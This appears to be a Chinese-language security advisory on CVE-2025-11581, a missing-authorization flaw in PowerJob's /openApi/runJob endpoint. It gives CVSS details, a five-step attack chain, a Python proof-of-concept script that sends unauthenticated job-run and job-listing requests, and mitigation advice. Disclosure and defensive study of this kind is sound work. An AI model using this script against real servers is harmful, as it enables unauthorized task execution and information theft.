IPBUF安全漏洞报告
English
CVE-2025-11581 CVSS 5.3 中危

CVE-2025-11581:PowerJob OpenAPIController 缺少授权漏洞

披露日期: 2025-10-10

漏洞信息

漏洞编号
CVE-2025-11581
漏洞类型
缺少授权(Broken Access Control)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PowerJob

相关标签

CVE-2025-11581PowerJob缺少授权Broken Access ControlOpenAPI任务调度中危漏洞未授权访问Java

漏洞概述

CVE-2025-11581 是 PowerJob 分布式任务调度框架中存在的一个安全漏洞,影响版本至 5.1.2。该漏洞位于 OpenAPIController 组件的 /openApi/runJob 接口中,由于缺少必要的授权验证机制,未经身份认证的远程攻击者可以直接调用该接口执行任务调度操作。PowerJob 是一款开源的分布式计算与任务调度框架,广泛应用于大数据处理、定时任务执行等场景。该漏洞的 CVSS 3.1 评分为 5.3,属于中危级别,攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需权限(PR:N)和用户交互(UI:N)。虽然该漏洞对完整性和可用性没有直接影响,但会导致一定的机密性泄露风险。目前该漏洞的利用方式已被公开披露,可能被恶意攻击者利用来执行未授权的任务调度操作,获取敏感任务信息或干扰正常业务流程。安全研究人员建议用户尽快升级到修复版本,并加强访问控制策略以防止潜在的安全威胁。

技术细节

PowerJob 的 OpenAPIController 组件负责处理开放 API 请求,其中 /openApi/runJob 接口用于远程触发任务执行。正常情况下,此类接口应当包含身份认证和权限校验逻辑,确保只有经过授权的用户才能调用。然而,在受影响版本(≤5.1.2)中,该接口缺少必要的授权验证机制(Missing Authorization),导致任何能够访问该接口的远程用户都可以未经认证地调用 runJob 功能。

从技术层面分析,攻击者只需构造合法的 HTTP 请求,指向目标 PowerJob 服务的 /openApi/runJob 端点,传入相应的任务参数(如应用 ID、任务参数等),即可触发任务执行。由于无需任何身份凭证,攻击门槛极低。该漏洞属于典型的失效访问控制(Broken Access Control)类问题,是 OWASP Top 10 中常见的安全风险之一。

利用该漏洞,攻击者可以:1)执行任意已注册的 Job 任务,可能导致敏感数据处理逻辑被非法触发;2)通过任务执行获取返回结果,造成信息泄露;3)干扰正常任务调度,影响业务连续性。虽然漏洞本身不直接导致代码执行或数据破坏,但作为攻击链中的一环,可被用于进一步渗透或信息收集。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过 Shodan、ZoomEye 等网络空间搜索引擎或端口扫描工具,识别暴露在公网上的 PowerJob 服务实例(默认端口 7700)。
STEP 2
步骤2:接口探测
攻击者访问 /openApi/runJob 等开放 API 端点,确认目标服务未实施有效的身份认证和访问控制机制。
STEP 3
步骤3:未授权任务执行
攻击者构造恶意 HTTP 请求,向 /openApi/runJob 端点发送任务执行请求,包含目标应用 ID 和任务参数,无需任何认证凭据即可触发任务调度。
STEP 4
步骤4:信息获取与影响
通过未授权的任务执行,攻击者可获取任务执行结果中的敏感数据,或利用任务执行逻辑进行进一步的信息收集和横向移动。
STEP 5
步骤5:潜在横向扩展
利用获取的信息,攻击者可能结合其他漏洞或配置错误,对 PowerJob 集群进行更深层次的渗透攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11581 PoC - PowerJob OpenAPIController Missing Authorization # Target: PowerJob <= 5.1.2 # Endpoint: /openApi/runJob import requests # Target PowerJob server URL TARGET_URL = "http://target-powerjob-server:7700" # Step 1: Trigger job execution via unauthorized API call # The /openApi/runJob endpoint lacks authentication validation def exploit_run_job(app_id, job_params=None): """ Exploit missing authorization in PowerJob OpenAPIController. No authentication credentials required. """ endpoint = f"{TARGET_URL}/openApi/runJob" # Payload to trigger job execution payload = { "appId": app_id, # Target application ID in PowerJob "jobId": None, # Optional: specific job ID "params": job_params or {}, # Job parameters "delay": 0 # Execution delay in seconds } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Send unauthorized request - no token or auth header needed response = requests.post( endpoint, json=payload, headers=headers, timeout=10 ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") return response # Step 2: Enumerate available jobs via openApi def enumerate_jobs(app_id): """Enumerate available jobs through unauthorized API access.""" endpoint = f"{TARGET_URL}/openApi/listJobs" params = {"appId": app_id} response = requests.get(endpoint, params=params, timeout=10) print(f"[+] Available Jobs: {response.text}") return response # Main execution if __name__ == "__main__": # Replace with actual target app ID APP_ID = 1 print(f"[*] Targeting: {TARGET_URL}") print("[*] Exploiting CVE-2025-11581 - Missing Authorization\n") # Trigger unauthorized job execution exploit_run_job(APP_ID, job_params={"key": "value"})

影响范围

PowerJob < 5.1.3
PowerJob <= 5.1.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过网络防火墙或安全组限制 PowerJob 服务端口(默认 7700)的访问来源,仅允许内部可信网络访问;2)使用反向代理(如 Nginx)为 /openApi/* 接口添加额外的身份认证层;3)关闭或限制 OpenAPIController 的开放 API 功能;4)部署入侵检测系统(IDS)监控针对该接口的异常请求;5)定期检查任务执行日志,发现异常任务调度行为及时处置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表